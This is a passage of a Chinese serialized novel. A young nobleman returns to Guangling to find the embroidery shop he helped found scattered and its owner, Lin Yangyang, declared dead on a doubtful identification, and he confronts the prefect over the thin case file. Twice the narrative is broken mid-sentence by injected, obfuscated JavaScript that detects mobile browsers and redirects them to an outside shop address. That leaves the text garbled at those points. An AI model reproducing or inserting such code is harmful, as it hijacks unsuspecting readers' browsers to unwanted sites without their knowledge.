有个客人嫌帕子价高,在铺门口说春水绣坊东西不值这个价。秦嫂差点同人吵起来,林鸯鸯拦住了。她当场把帕子拆开,给那客人看针脚、布料、工钱,又拿出一方便宜些的帕子让她比较。那客人最后没有买,却也没再骂。 秦嫂不服,说这样的人就该骂回去。 林鸯鸯说,骂赢了未必能挣钱。 秦嫂回了一句:不挣钱也解气。 李老先生在信里写到这里时,笔迹都有些抖,像是一边写一边笑。 信末,林鸯鸯夹了一张小纸。 上面写: “想活的人很多”。 这六个字写得不整齐,却能认出来。 陆云逸把这张纸看了很久。 他不知道林鸯鸯写这句话时,心里想的是谁。 是秦嫂,是刘娘子,是周婶,是阿青,是何娘子,还是醉春楼里那些暗中接绣活的女子? 也许都是。 他回信时,第一次写得比以往更久。 他告诉她,无锡湖水很大,清晨有雾,富商家的园子很美,可墙外的人仍然要为一顿饭奔忙。他说,若春水绣坊想多收人,一定要量力而行。救人不是把人带进门就完了,还要让门里的人都能活。 写到这里,他停住了。 他忽然想起当初自己把林鸯鸯带出醉春楼时,根本不懂这个道理。 如今这句话,倒像是林鸯鸯教会他的。 写完回信后,他又在无锡停了两日,才往姑苏去。 …… 姑苏比陆云逸想象中更柔软。 城中水巷纵横,桥边常有女子洗衣,船从墙下慢慢过去,橹声轻得像梦。茶楼里说书先生讲才子佳人,听客一边嗑瓜子,一边叹气。园子里假山堆得巧,窗外一枝竹,能让人看半日。 陆云逸在姑苏住下来。 照旧,他先写信。 信中先写自己到了姑苏,暂住平江桥边的来安客栈。若林鸯鸯回信,便送到此处。 然后,他写姑苏的水比广陵静,桥也窄。写城里有一种糕,甜得发腻,秦嫂若吃了,必定要说这是哄小孩的东西。写姑苏女子说话声音软,吵架也不像吵架。 这封信寄出去后,他照旧等。 从广陵到姑苏,路比无锡远不了多少。照以往的日子,二十多日便该有回信。 可这一次,二十日过去,没有。 陆云逸起初并不觉得如何。 春水绣坊忙,李老先生年纪大,钱庄误个几日,也寻常。 他每日照旧出门。 去看园子,去桥边坐,去茶铺听人说话。可不知为何,那些东西都慢慢淡了。桥还是桥,水还是水,说书先生拍醒木时,众人仍旧叫好。可他心里总像挂着一根线。 那根线的一头,在广陵。 第三十日,仍没有信。 陆云逸又去了一趟钱庄。 掌柜见了他,已经认得,远远便摇头。 “陆公子,今日也没有广陵来的信。” 这话说得客气,却让人心口发沉。 陆云逸回到客栈,坐在桌前,又写了一封信。 这一次,他没有写姑苏风物,也没有夹字样。 只写了三句话。 “铺子可好? 秦嫂她们可好? 你可好?” 写完后,他盯着纸看了很久。 这封信送走之后,他没有离开姑苏。 他告诉自己,再等几日。 也许是李老先生病了。 也许是钱庄误了路。 也许是春水绣坊接了大活,实在忙不过来。 也许林鸯鸯正在自己写信,所以慢些。 人心里怕什么,便会给自己找许多理由。 这些理由每一个都说得过去。 合在一起,却只叫人更怕。 又过了七日,还是没有信。 姑苏下了一场雨。 雨丝落在河面上,打出细小的圈。客栈外有卖伞的人,一声一声地喊。陆云逸坐在窗边,听那声音听了一下午。 傍晚时,钱庄的小伙计终于来了。 他送来一封信。 信封被雨气洇得有些软。 陆云逸接过时,第一眼就看见,那字不是李老先生的。 也不是林鸯鸯的。 字迹年轻些,急一些,像是匆忙写成。 他拆开信。 信很短。 短得不像回信,倒像一张慌乱中递出来的口信。 陆公子台鉴。 春水绣坊遭变,林姑娘出事,秦嫂携铺中诸人暂避。家叔年迈,不敢多书。公子若见此信,望速归广陵。 纸扎铺李真代笔。 陆云逸看完第一遍,没有动。 窗外雨还在下。 河水缓缓流着,桥上有人撑伞走过,客栈楼下小二正同客人说笑。世上的日子仍旧往前走,好像什么都没有发生。 可陆云逸听见自己心里有一处地方,忽然空了。 他又看了一遍那封信。 春水绣坊遭变。 林姑娘出事。 秦嫂携铺中诸人暂避。 速归广陵。 他把信折好,放进怀中。 然后起身下楼。 掌柜见他脸色不对,忙问:“陆公子,这雨还未停,您要出去?” 陆云逸道:“备马。” 掌柜一愣。 “现在?” 陆云逸看着门外的雨。 “现在。” 8. 空铺风冷问谁收 从姑苏回广陵,若不急,可以走水路。 水路稳,船过一道一道河汊,沿岸是粉墙黛瓦,是柳树,是低低的桥。人在船上坐着,看水慢慢往后退,像看一段旧梦被风吹开。 可陆云逸等不得。 雨还没有停,他便出了姑苏城。 掌柜追到门口,劝他等天亮再走。雨夜赶路,路滑,马也容易失蹄。陆云逸只把银子放在柜上,说了一句有劳,便翻身上马。 雨打在脸上,很冷。 姑苏的雨不像北地的雨那样硬。它细,密,落在人身上,好像并不重。可夜里骑马走久了,衣裳从外湿到里,寒意一点一点钻进骨头,人才知道这种雨也能折磨人。 官道被雨水泡得发软,马蹄踩下去,泥水四溅。 陆云逸一路换马,过驿站时只吃几口干粮,困极了便靠在椅上闭一会儿眼。每次刚有些睡意,他便又看见那封信。 春水绣坊遭变。 林姑娘出事。 铺中诸人四散。 速归广陵。 这几句话像钉子,一根一根钉在他心口。 他不敢把它们想得太明白。 人有时候就是这样,越怕一件事,越要故意把它想得含糊些。仿佛只要不把坏处想尽,那坏事就还能留一点转圜。 也许只是铺子被砸了。 也许林鸯鸯受了伤,却还活着。 也许秦嫂她们只是被官府盘问,各自回去避风头。 也许李真年纪轻,写信时慌了,把事情写得重了些。 这些想法一个一个冒出来,又一个一个被压下去。 到了第三日夜里,雨终于停了。 陆云逸却没有慢下来。 沿途的村镇都像在雾里。他记得自己经过一座桥,桥下河水涨了许多;也记得有个驿卒见他脸色不好,劝他歇一晚;还记得有一匹马跑到半路几乎跪倒,他不得不下来牵着走了一段。 除此之外,他什么都记不清。 他的心已经先一步回了广陵。 第五日傍晚,广陵城门出现在眼前。 城门照旧开着。 守城兵卒照旧懒懒散散地查验行人。城外有挑菜进城的农人,有赶着牛车的商贩,也有撑伞的妇人。没人知道他从姑苏一路赶来,也没人知道他怀里那封信有多重。 广陵还是那个广陵。 河水照旧流,船照旧靠岸,酒楼照旧挂出灯笼,街边卖花的小姑娘换了人,声音仍旧清脆。 “栀子花,新摘的栀子花。” 陆云逸听见这声音,马缰在手里紧了一下。 他想起林鸯鸯曾经买过一枝栀子花。 那枝花被她插在客栈粗瓷杯里,白白小小,香气很淡。那时他看着那枝花,曾觉得一个人敢为自己买无用的东西,便是真的开始活了。 如今卖花声还在。 买花的人却不知在哪里。 陆云逸没有去客栈,也没有换衣裳。 他牵着马,穿过熟悉的街巷,直奔春水绣坊。 越靠近那条小街,他脚步越慢。 他心里竟生出一点荒唐的念头:也许走过去时,铺子还是开着的。秦嫂仍在门口同人讨价还价,阿青仍在后头剪线头,李老先生仍坐在隔壁门口糊纸钱。林鸯鸯听见马蹄声,从铺子里出来,看见他这样狼狈,还会皱眉问,公子怎么这时回来了? 可转过街角时,他便知道不是了。 春水绣坊的门关着。 门板上贴着一张纸。 纸被雨水打皱了,边角卷起,浆糊干裂,风一吹,便轻轻拍着门板。 上面写着四个字: 低价转租。 陆云逸站在门前,看了很久。 那四个字寻常得很。 一座城里每天都有铺子开张,也每天都有铺子关门。生意不好,家中有事,租金太贵,东家不做了,门上一贴,便算了结。 可春水绣坊不能这样了结。 它不是一块门面。 不是一纸契约。 不是几张桌椅、一方柜台、一匣铜钱。 陆云逸抬头看招牌。 “春水绣坊”四个字还挂着,只是有些歪。李老先生当初写这几个字时,秦嫂还嫌看不出好坏,林鸯鸯问哪个字是水。 她说,水看着柔,其实最能走远。 如今那块招牌被风吹得轻轻晃动。 像水走到这里,忽然断了。 隔壁纸扎铺半掩着门。 铺子里很暗,只点了一盏小灯。白纸人、纸马、纸灯笼在昏黄灯光下显出一种冷清的白。陆云逸走进去时,柜台后没有李老先生,只有一个年轻男子正低头整理纸钱。 男子听见脚步声,抬起头。 他先是一愣,随后脸色骤变。 “陆公子?” 陆云逸认得他。 李真。 李老先生的侄子。那封短笺便是他写的。 陆云逸看着他,声音很平。 “林鸯鸯呢?” 李真的嘴唇动了动,却没有答出来。 陆云逸又问:“秦嫂她们呢?” 李真放下手里的纸钱,快步走到门口,把铺门掩得更严些。 “公子先坐。” “我问你,人呢?” 李真低下头。 屋子里安静下来。 外头有人经过,脚步声从门前掠过,又远了。纸扎铺里的灯油烧得不旺,火苗抖了一下,墙上的纸人影子也跟着晃。 过了许久,李真才低声道:“官府说,林姑娘没了。” 陆云逸没有动。 他听出了这句话里的不对。 “官府说?” 李真抬头看了他一眼,又很快低下头。 “是。” 陆云逸道:“到底怎么回事?” 李真深吸了一口气。 “那日,林姑娘去城南陈家送一批改好的香囊,顺便收尾款。那家的小姐先前订过东西,挑剔得很,旁人去说不清样式。秦嫂本想陪着去,可铺里正有个赖账的客人来闹,又赶上阿青家里人找上门,秦嫂脱不开身。” 陆云逸的手慢慢攥紧。 “她一个人去的?” “是白日去的。”李真忙道,“不是夜里。林姑娘也不是粗心的人。那条路她走过几回,按理说申时前后就该回来。可那陈家拖着尾款不肯痛快给,说香囊里有两个颜色不合意,硬留她改说法。等她出来时,天已经擦黑。” 李真说到这里,声音低了些。 “她没有回来。” 秦嫂最先觉得不对。 春水绣坊每日收铺的时辰大差不差。若谁晚归,总会托人带话。林鸯鸯尤其不会让人担心。可那日天黑透了,她还没回来。 秦嫂先去陈家问。 陈家门房说,人早走了。 秦嫂问什么时候走的,门房不耐烦,只说天黑前。再问,便要关门。 秦嫂在门口嚷起来,陈家管事出来,骂她们春水绣坊的人不懂规矩,说一个女子夜里不归,谁知道是去了哪里。 秦嫂当场就要同他撕扯。 李老先生听见消息,拄着拐赶过去,硬把她劝回来。 可秦嫂不肯回铺。 她提着灯笼,带着李真和周婶沿路找。阿青也要跟,被周婶按在铺子里。何娘子在后屋烧着热水,说万一林姑娘回来,能喝一口热的。 他们问了桥边卖茶的,问了路口摆摊的,也问了河边泊船的。 有人说见过一个素衣女子从小石桥边走过。 有人说没注意。 也有人只看了一眼秦嫂,便低声道:“一个年轻女子,这样晚不回,怕不是自己跟人走了。” 秦嫂听见,差点把灯笼砸过去。 后半夜,他们报了官。 差役一听走失的是个年轻女子,先问户籍,再问婚配,又问是不是青楼出身。秦嫂说人命关天,你们先找人。差役嫌她吵,说城里每日走失的人多,不能凭一句没回家便满城搜。 秦嫂跪在府衙门口不走。 后来还是李老先生拿出春水绣坊的账册和户帖,说林鸯鸯是良籍,有铺中众人为证,又请了街坊作保,差役才勉强派了两个人。 天快亮时,官府在小石桥外的芦苇丛里找到了一具女尸。 李真说到这里,停住了。 陆云逸看着他。 “是不是她?” 李真喉结动了动。 “辨不清了。” 这四个字落下来时,屋里更静了。 灯火轻轻一跳。 李真低声道:“尸身在水边泡过,又被芦苇和石头刮坏了脸。衣裳也破了,身上有伤。官府说,年纪、身量、衣料都像,又是在林姑娘失踪那条路附近找到的,便认定是她。” “秦嫂认了吗?” “秦嫂不肯认。”李真道,“她说脸都看不清,凭什么说是林姑娘?她说林姑娘手上有常年拿针留下的细茧,那尸身的手被水泡得发胀,也看不分明。她还说林姑娘左腕内侧有一道旧疤,可仵作说尸身皮肉损坏,看不真切,不能凭这些纠缠。” 陆云逸道:“李老先生呢?” “家叔也说不能草草认定。”李真声音发哑,“可官府说,人证物证都指向林姑娘。陈家也证明她那日确曾到过,又在天黑前离开。她随后失踪,小石桥外发现女尸,不认她,还能认谁?” 不认她,还能认谁? 这句话听着像道理。 可世上许多草草了结的案子,靠的正是这种像道理的话。 陆云逸问:“案子怎么结的?” 李真咬牙道:“疑为流匪劫财。” “流匪?” “尸身上的银钱不见了,官府说是见财起意。至于别的伤,仵作写得含糊。说夜深无人见正犯,凶手逃散,无从追捕。” “无从追捕。” 陆云逸慢慢重复了一遍。 李真不敢再说。 屋里又静了。 过了片刻,后屋忽然传来咳声。 李真回头看了一眼。 一个老人扶着门框走出来。 是李老先生。 他看起来比陆云逸离开时老了许多。背更弯,眼也更浑浊。几日间,像被谁抽走了一截精神。 “陆公子。”老人哑声道。 陆云逸转过身。 “李老先生。” 老人慢慢走近,手里捧着一个布包。 那布包洗得发白,边角磨得起了毛,却系得很紧。 “这是她留下的。”李老先生说,“后来铺子散了,秦嫂怕东西落进旁人手里,托我收着。她说,若公子回来,便给公子。” 陆云逸接过布包。 不重。 可落在手里,却像一块石头。 他没有立刻打开。 “秦嫂她们在哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520933|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里?” 李老先生叹了一口气。 “散了。” “散了?” 李真低声道:“林姑娘出事后,官府来铺子盘问了几回。问铺中女子的来历,问谁有户帖,问谁从前在哪里做活。街上也有人说春水绣坊晦气,死了人,不干净。铺主怕惹事,催着退租。” 他顿了顿,又道:“秦嫂原本不肯关铺。她说林姑娘只是还没回来,铺子不能关。可阿青家里人闹得最凶。” 陆云逸看向他。 “阿青怎么了?” 李真的声音低下来。 “被她家里人抓回去了。” 春水绣坊出事后,阿青的父母不知从哪里听到消息,带着两个堂兄找上门,说春水绣坊拐了他们家女儿。秦嫂拿出工钱账,说阿青是自愿做活。可她父母根本不听,只说女儿是家里的人,婚事已经定下,谁也拦不得。 阿青哭着不肯走。 周婶拦在前面,被推倒在地。 秦嫂拿擀面杖冲出来,打伤了阿青一个堂兄。官府差役正巧来盘问林鸯鸯的案子,见状反倒呵斥秦嫂扰乱邻里,说这是人家的家事。 家事。 这两个字一出,旁人便很难再插手。 阿青被拖走时,哭得嗓子都哑了。 她抓着门框不放,指甲都劈了。最后还是被她父亲一把掰开手指,拖上牛车。 那日以后,周婶病了一场。 她原本就无处可去,只能回儿子家。她儿媳嫌她惹了麻烦,关了半日门不让进。后来还是邻里看不过眼,劝了几句,才放她回去。 刘娘子回了城西。 她母亲还病着,离不开人。春水绣坊一关,她便又开始接零活,工钱比从前低,药却不能停。 何娘子没有娘家肯收,也不敢回婆家。她最初在春水绣坊后屋住了两夜,后来铺主要收铺,她便去了河边一个旧棚子里,白日替人洗菜、洗衣,换几个铜钱。 秦嫂回了自己旧屋。 她曾想把铺子继续撑下去,可没有林鸯鸯,没有稳定生意,又有官府和街坊盯着,撑不住。 李真说到这里,眼眶有些发红。 陆云逸问:“秦嫂在哪里?” 李真道:“她旧屋在城西槐树巷。” “带我去。” 李老先生看着他。 “公子一路赶来,衣裳都湿了,先歇一歇吧。秦嫂这些日子脾气不好,也不一定肯见人。” 陆云逸道:“我要见她。” 李老先生叹了一口气,对李真道:“带公子去。” 李真点头,取了灯笼。 出门前,陆云逸又回头看了一眼春水绣坊。 门板紧闭,转租纸在风里轻轻响。 这条小街仍有人来往。 修伞匠门口还堆着竹篾,只是这次没有人叉着腰骂他。卖纸钱的铺子还亮着灯,绣市那边还有零星客人。日子没有因为一个人的失踪停下,也没有因为一间铺子的散掉停下。 陆云逸忽然想起林鸯鸯写给他的那句话。 想活的人很多。 可让一个想活的人消失,竟如此容易。 城西槐树巷很窄。 夜里少有人走,巷口有一棵老槐树,树根把地砖拱得高低不平。李真提着灯笼走在前头,灯光照出一小片潮湿的路。 秦嫂的旧屋在巷子最里头。 门半掩着。 还未走近,陆云逸便听见里面传来秦嫂的声音。 那声音不再像从前那样粗亮,反倒低哑得厉害。 “我说了,不卖。” 另一个男人的声音响起来。 “你一个寡妇,留着那点东西做什么?春水绣坊都散了,还指望再开?” 秦嫂道:“散了也是我们的东西。” 男人冷笑:“你的?那铺子是谁租的?银子是谁出的?人都死了,谁还认你?” 屋里有什么东西被推倒。 秦嫂骂了一句。 陆云逸停住脚步。 李真脸色一变,忙要上前。 陆云逸却比他更快。 他推开门。 屋里两个男人正站着,一个手里拿着几匹旧布,另一个翻着一只木箱。秦嫂站在墙边,手里握着一把菜刀,头发散乱,眼睛通红。 那两个男人回头,看见陆云逸,愣了一下。 “你谁啊?” 陆云逸没有答。 他的目光落在那只木箱里。 里面放着几束丝线,几块碎布,还有几张折得很平整的纸。 其中一张纸上,歪歪扭扭写着一个字。 甜。 陆云逸慢慢抬起眼。 “放下。” 那男人嗤笑:“哪来的公子哥儿,管闲事管到槐树巷来了?” 李真忙道:“这是林姑娘的恩人,你们莫要乱来。” 那男人嗤笑:“恩人?恩人也管不到秦寡妇屋里来。” 陆云逸没有同他争,只从袖中取出一张银票,放在桌上。 “这些布和线,我买了。现在出去。” 男人看见银票,脸色变了变。 陆云逸又道:“若再敢来抢她屋里的东西,我便陪秦嫂去府衙问问,趁乱强取寡妇财物,按律该怎么判。” 那两个男人看他衣着气度不像寻常人,又见李真站在一旁,终究不敢再硬撑,丢下手里的布,拿了银票,骂骂咧咧地走了。 9. 断线难缝旧绸缪 那两个男人走后,屋里静了下来。 秦嫂还蹲在地上,把散落的丝线一根一根捡回木箱里。她的手很粗,指节上有裂口,捡那些细线时却小心得很,像捡的不是线,是碎了的日子。 陆云逸站在一旁,没有催她。 屋子很小。 一张旧床,一张矮桌,一个木箱,灶台上放着半锅冷粥。墙边挂着几件旧衣,风从门缝里钻进来,吹得灯火一晃一晃。 这就是秦嫂原来的住处。 陆云逸从前在春水绣坊见她,总觉得她像一棵粗壮的树。她站在铺子门口,能骂走闲汉,能同客人讨价还价,能把阿青吓得乖乖剪线头,也能在别人慌乱时把铜钱数得清清楚楚。 可如今她蹲在这间小屋里,背忽然显得很弯。 春水绣坊一散,她也只是一个独居的寡妇。 秦嫂把最后一束线放进箱中,才抬头看他。 “公子,坐吧。” 屋里没有好椅子,只有一张矮凳。 陆云逸坐下。 李真站在门边,有些局促。他到这时也不知道陆云逸究竟是什么身份,只知道这个年轻公子曾花重金救过林鸯鸯,又帮她开了春水绣坊。李老先生说过,这样的人最好不要得罪。 秦嫂看了李真一眼,道:“你也坐。站在那里像门神。” 李真这才坐到门槛边。 秦嫂低头看着那只木箱,声音哑得厉害。 “这些东西原本都在铺子里。铺主催着收铺,我怕落到别人手里,就能搬多少搬多少。可我一个人搬不动,只捡了些轻的回来。” 箱子里有丝线、碎布、几张裁了一半的绣样,还有一本旧账册。 陆云逸问:“账册怎么在你这里?” “李老先生那里还有一本。”秦嫂说,“这本是我们平日对货用的,林姑娘常翻。她怕自己不识字,便让李老先生把字写大些。进、出、欠、水、甜……她一遍一遍认。” 秦嫂说到这里,忽然停住。 过了很久,她才低声道:“她刚会认几个字,人就没了。” 陆云逸没有接话。 秦嫂抬手抹了一把眼睛,又像怕自己哭出来似的,立刻粗声道:“我不信那具尸体就是她。” 陆云逸看着她。 “为何?” “脸都看不清,凭什么说是她?”秦嫂猛地抬头,“身上衣裳像,身量像,走失的地方也像,这些就能定?广陵城里每天穿素衣的女子有多少?身量相近的又有多少?” 李真低声道:“官府说……” 秦嫂立刻骂道:“官府说!官府还说阿青是家里人带回去,旁人管不着呢!” 李真不说话了。 秦嫂胸口起伏,过了好一会儿才压下火气。 “公子,我去看过。那尸身泡坏了,脸上又被芦苇和石头划得乱七八糟。林姑娘左腕内侧有一道旧疤,我记得清清楚楚。可那尸身的手腕被水泡得发胀,仵作说看不清。我说看不清就不能认,差役说,除了她还能是谁?” 除了她还能是谁。 这话李真说过一次,秦嫂又说一次。 陆云逸听着,心里慢慢冷下去。 这不是查案。 这是找一个说得过去的答案。 “你没有签认尸文书?”他问。 秦嫂冷笑:“我一个外人,签不签有什么用?她无父无母,无夫无子,官府说我是铺中雇妇,不是亲眷。我不认,他们照样能结案。” “李老先生呢?” “李老先生也不认。”秦嫂道,“可他年纪大了,站都站不稳。人家问他,你凭什么不认?他答不上来。” 秦嫂的声音又低下去。 “我们都答不上来。” 屋里静了一会儿。 窗外有狗叫声,从巷子那头传来,很快又没了。 陆云逸问:“其他人呢?” 秦嫂低下头,粗糙的手指在木箱边缘摩挲着。 “散了。” 她说得很轻。 可这个字比骂声还重。 “阿青被她家里人拖回去了。她哭着不肯走,抓着门框,指甲都劈了。她爹说,这是家事。差役就在旁边,也说是家事。后来说已经许了人,城外一个鳏夫,年纪比她爹还大。” 秦嫂说到这里,眼睛红得吓人。 “周婶去拦,被推倒在地。她原本眼神就不好,后来又病了一场。回儿子家时,儿媳关了半日门不让进,说她在春水绣坊惹了晦气。” 李真低下头。 秦嫂继续道:“刘娘子回城西了。她娘还病着,离不开人。铺子散了,她又接些零活,工钱比从前还低。何娘子没地方去,在河边旧棚里住了几日,替人洗菜洗衣,手泡得发白。” 她顿了顿。 “我原想把铺子撑下去。” 这句话一出来,屋里几个人都沉默了。 “我真想撑下去。”秦嫂的声音忽然低了,“我想,林姑娘万一哪日回来了,见铺子还在,总能有个地方落脚。可撑不住。官府来问,街坊来躲,铺主来催,客人不敢进门。阿青被拖走,周婶病倒,刘娘子走了,何娘子连饭都吃不上。” 她抬头看陆云逸。 “公子,铺子不是一下子倒的。” 她伸手从箱子里拈起一根线。 “是这样,一根一根拆的。” 陆云逸看着那根线。 他想起春水绣坊刚开张时,林鸯鸯坐在灯下,把丝线一束一束分好。那时她说,账要清,线也要清。线乱了,可以慢慢理;账乱了,人心也会乱。 原来理起来那样难。 拆散却这样容易。 秦嫂把线放回箱子里,又取出一只布包。 “这是林姑娘留下的。我原本想自己收着,可我怕保不住。那些人今日敢来抢布,明日就敢来翻箱子。” 她把布包递给陆云逸。 陆云逸接过。 布包不重,却像一块石头压在手里。 里面是几封信。 都是他写给林鸯鸯的。 还有几张临字纸。 水。 账。 欠。 安。 想活的人很多。 最下面压着一张纸。 纸上写着一个歪斜的字。 甜。 陆云逸看着那个字,许久没有动。 秦嫂哑声道:“这是她最后临的。她说,等公子下封信来,要给公子看。她说这回比上次好。” 陆云逸把那张纸拿起来。 确实比上次好。 横还是不稳,竖也有些歪,可已经能看清了。 甜。 一个六岁就被人卖掉的孩子,费了这么多年,才终于把自己的名字写回来一点。 陆云逸慢慢把纸折好,放进怀里。 他站起身。 秦嫂抬头:“公子去哪儿?” “府衙。” 秦嫂一怔,随即也要起身。 “我跟你去。” “不必。” 秦嫂急了:“我也去!他们说那是林姑娘,我不认。他们说案子结了,我也不认。” 陆云逸看着她。 秦嫂眼睛通红。 “我没读过书,不懂律法,也不会说漂亮话。可我知道,人不能这么没了。铺子也不能这么散了。” 陆云逸道:“你去了,他们只会说你是雇妇,不是亲眷。” 秦嫂像被戳中痛处,一下哑了。 陆云逸又道:“我去。” 秦嫂看着他。 她并不知道陆云逸真正的身份。她只知道这个公子有钱,有来历,能让醉春楼交出身契,也能替林鸯鸯办良籍。 可官府不同。 官府不是醉春楼,也不是铺主,更不是巷子里抢布的闲汉。 秦嫂低声道:“公子,官府未必听你的。” 陆云逸道:“总要让他们听一回。” 他说完,转身出了门。 李真忙跟出来:“公子,我带路。” 陆云逸摇头。 “你留下照看秦嫂。” 李真一怔。 陆云逸已经走进夜色里。 …… 广陵府衙在城中最宽的一条街上。 白日里这里人来人往,到了夜里便显得冷清。高大的门楼立在石阶上,门口两盏灯笼被风吹得轻轻晃动。石狮子蹲在两侧,嘴张着,像要吞人。 陆云逸站在府衙门前,忽然想起自己替林鸯鸯办良籍那日。 那时他也来过这里。 小吏绕来绕去,推说难办。后来他拿出明亲王府的名帖,事情便忽然变得好办。 那时他还以为,身份至少能做一点事。 如今他又来了。 不是为了办一张户帖。 是为了一个已经被官府认定死亡的人。 守门的差役见他夜里来,皱眉道:“何事?” 陆云逸道:“我要见知府。” 差役笑了:“这时辰,知府大人岂是你想见就见的?” 陆云逸取出名帖。 那差役原本不耐烦,接过一看,脸色瞬间变了。 明亲王府。 他抬头看陆云逸,再低头看名帖,手都僵住了。 不多时,府衙内灯火一盏盏亮起。 广陵知府披着外袍匆匆出来,身后跟着主簿、书吏和几个还没睡醒的差役。众人见了陆云逸,齐齐行礼。 “小王爷深夜驾临,下官有失远迎。” 陆云逸看着他。 原来这便是身份的用处。 几日前秦嫂跪在府衙门口,也只换来几个差役的不耐烦。如今他只递出一张名帖,知府便亲自迎了出来。 陆云逸忽然觉得荒唐。 可他没有笑。 “我要看春水绣坊林鸯鸯一案的案卷。” 知府脸色微微一变。 主簿也抬头看了他一眼。 陆云逸道:“现在。” 知府不敢多问,忙命人去取案卷。 片刻后,案卷摆在了陆云逸面前。 很薄。 薄得几乎不像一条人命。 陆云逸翻开。 死者林氏,年约十五,春水绣坊中人。某日夜归未返,次日晨于小石桥外芦苇丛发现女尸。因衣饰、身量相近,且林氏当夜失踪,认定死者为林氏。尸身有伤,随身银钱遗失,疑为流匪劫财。因夜深无人见正犯,凶手逃散,暂作悬案。 暂作悬案。 陆云逸看着这四个字,手指慢慢收紧。 “尸体辨清了吗?” 知府低头道:“回小王爷,尸身发现时已经损坏,面目确有不清之处。” “既然不清,为何认定是林鸯鸯?” 知府擦了擦额上的汗。 “林氏当夜失踪,发现尸身之处又在其归途附近,衣料、身量皆相似。铺中人虽有异议,但并无其他失踪女子报案。下官等据情判断……” “据情判断。”陆云逸打断他。 知府声音低了下去。 陆云逸翻到仵作验格。 仵作写得含糊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520934|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 脸面损坏。 手腕损坏。 身有伤痕。 死因疑为窒息。 是否受辱,未明。 “未明是什么意思?”陆云逸问。 知府脸色难看。 “因尸身损坏,仵作不敢妄断。” “不敢妄断,却敢断她是林鸯鸯。” 屋里无人敢说话。 陆云逸又翻供词。 陈家门房说,林鸯鸯申时末离开。 陈家管事说,她离开时并无异状。 桥边茶摊说,似乎见过一个素衣女子经过。 又有一人说,曾在小石桥附近见过几个闲汉饮酒,但不识姓名。 供词到这里便断了。 “那几个闲汉呢?”陆云逸问。 知府道:“差役去查时,人已经不见了。” “为何不继续查?” 知府苦着脸道:“小王爷,此案已过去两个月。那几人原本就是游手好闲之辈,未必是广陵本地人。案发后便没了踪迹,如今再查,实在难寻。” 陆云逸抬头看他。 “陈家呢?” 知府忙道:“陈家上下供词一致。林氏离开时尚好,门房、管事皆可作证。陈家在广陵也是有头有脸的人家,实在没有理由……” “有头有脸,便没有理由?” 知府哑住。 主簿在一旁小心道:“小王爷息怒。此案当时也不是全未查过。只是尸身已葬,现场被雨水冲过,芦苇丛又被行人踩乱。两月过去,证人散的散,忘的忘,许多痕迹都没了。如今即便重查,怕也……” 他没有说完。 可意思已经很清楚。 查不出来了。 陆云逸低头看着案卷。 薄薄几页纸。 里面没有林鸯鸯六岁被卖,没有她写下的“甜”,没有春水绣坊里那几个人的热汤和工钱,也没有秦嫂跪在府衙门口说自己不认。 纸上只有一个“林氏”。 一个“疑为”。 一个“暂作悬案”。 身份能让知府半夜披衣出来见他。 能让主簿把案卷取来。 能让差役低头不敢吭声。 可是身份不能让两个月前的雨停下。 不能让被踩乱的芦苇重新立起来。 不能让那几个消失的闲汉自己走回来。 不能让仵作把含糊的验格重新写明白。 更不能让那具辨不清面目的尸体开口说,自己到底是谁。 陆云逸忽然明白,自己来晚了。 或者说,从一开始就晚了。 他问:“坟在哪里?” 知府一怔。 “什么?” “那具尸体,葬在哪里?” 知府连忙看向主簿。 主簿翻了翻记录,道:“城外乱葬地边上。因无人认领,原本要按无名女尸草葬。后来春水绣坊的秦氏和隔壁纸扎铺李老先生凑钱买了薄棺,才另埋在乱葬地旁。” 陆云逸合上案卷。 “重查。” 知府忙道:“下官一定重查。” 陆云逸看着他。 “我要的不是这句话。” 知府脸色发白。 陆云逸道:“陈家重新问。小石桥附近重新查。那几个闲汉,画影图形,四处追访。仵作重新录供。案卷另抄一份给我。” 知府连声应是。 他应得很快。 快得像只要应下,这件事便能过去。 陆云逸知道,他会查。 至少会做出查的样子。 可是案子已经过去两个月。 一个没有亲眷、没有势力、没有清楚尸身、没有明确证人的女子,死在雨后的芦苇丛里。官府当时不尽力,如今再尽力,也多半只剩下空架子。 他站起身。 知府和众人也忙起身。 “小王爷……” 陆云逸没有再看他们。 他走出府衙时,天边已经有了一点灰白。 长街空荡荡的。 石狮子仍旧蹲在门口,灯笼里的火快要灭了。清晨的风吹过来,带着河水的潮气。 陆云逸站在府衙石阶上,忽然觉得很冷。 他已经亮明了身份。 知府已经低了头。 案卷也会重开。 可林鸯鸯仍旧不知所踪。 或者说,官府说她已经死了。 秦嫂不认。 李老先生不认。 他也不愿认。 可是这世道认了。 这才是最可怕的地方。 一个人有没有活着,有时候竟不是由她自己决定,也不是由认识她的人决定,而是由一张案卷决定。 案卷说她死了,她便死了。 案卷说疑为流匪劫财,她便只是一个被流匪劫财而死的女子。 案卷说暂作悬案,她的冤屈便暂且搁在那里,等风吹,等雨打,等所有人慢慢忘记。 陆云逸低头,从怀中取出那张纸。 纸上写着一个歪斜的字。 甜。 他看了很久。 然后把纸重新收好,往城外走去。 他要去看那座坟。 看一看官府替林鸯鸯认下的那个归处。 可是走下石阶时,他心里又有一个声音很轻地响起来。 那声音像林鸯鸯,又不像林鸯鸯。 她说: 